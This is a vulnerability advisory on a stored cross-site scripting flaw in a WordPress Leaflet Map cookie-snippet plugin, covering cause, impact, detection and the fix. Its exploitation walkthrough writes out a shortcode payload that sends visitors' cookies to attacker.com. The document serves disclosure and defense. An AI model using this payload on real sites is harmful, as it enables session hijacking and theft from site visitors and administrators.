CVE-2026-4389: 
WordPress vulnerability analysis and mitigation

CVE-2026-4389 is a Stored Cross-Site Scripting (XSS) vulnerability in the "DSGVO snippet for Leaflet Map and its Extensions" WordPress plugin. It affects all versions up to and including 3.1, and was published on March 26, 2026. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via the leafext-cookie-time and leafext-delete-cookie shortcodes. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes — specifically unset, before, and after — within the leafext-cookie-time and leafext-delete-cookie shortcodes (CWE-79: Improper Neutralization of Input During Web Page Generation). An authenticated contributor can embed malicious JavaScript within these shortcode attributes in a post or page; the script is stored server-side and executes in the browsers of any user who subsequently visits the affected page. The vulnerable code path is visible in the plugin's source at php/time-delete.php (WordPress Plugin Trac, Wordfence).

Successful exploitation allows persistent malicious scripts to execute in the context of any visitor's browser session on affected WordPress sites, impacting confidentiality and integrity (CVSS: C:L/I:L/A:N). Attackers could steal session cookies, perform actions on behalf of authenticated users (including administrators), redirect visitors to phishing pages, or deface site content. Because the payload persists on the page, all users — including privileged administrators — are at risk each time they view the injected content (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the "DSGVO snippet for Leaflet Map and its Extensions" plugin at version 3.1 or earlier. This can be done by checking the plugin's readme.txt or generator meta tags.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Create or edit a post: Navigate to the WordPress editor and create or edit a post/page where shortcodes are rendered.
4. Inject malicious shortcode: Insert a crafted shortcode such as [leafext-cookie-time before="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] or similar payload into the unset, before, or after attributes of the leafext-cookie-time or leafext-delete-cookie shortcodes.
5. Publish the page: Submit the post for review or publish it directly. The malicious script is now stored in the database.
6. Trigger execution: When any user (including administrators) visits the injected page, the browser renders the shortcode output and executes the injected JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing shortcode attributes with <script>, javascript:, or encoded equivalents in the before, after, or unset parameters.
• Database: Unexpected <script> tags or JavaScript event handlers within wp_posts content fields associated with posts using [leafext-cookie-time] or [leafext-delete-cookie] shortcodes.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing these shortcodes (indicative of data exfiltration or redirect payloads).
• File System: No file-system artifacts expected for this stored XSS; focus monitoring on database content and server-side logs (Wordfence).

The vulnerability is fixed in plugin version 3.4, which includes proper input sanitization and output escaping for the affected shortcode attributes. Site administrators should update the "DSGVO snippet for Leaflet Map and its Extensions" plugin to version 3.4 or later immediately. As a temporary workaround, restrict contributor-level and above user permissions to prevent untrusted users from creating or editing posts until the update is applied. The patch can be reviewed in the official WordPress plugin repository changeset (WordPress Plugin Changeset, Wordfence).

Wordfence disclosed and assigned this CVE, including it in their weekly WordPress vulnerability report for the period of March 23–29, 2026. No significant broader media coverage or notable researcher commentary beyond the standard disclosure has been identified (Wordfence Weekly Report).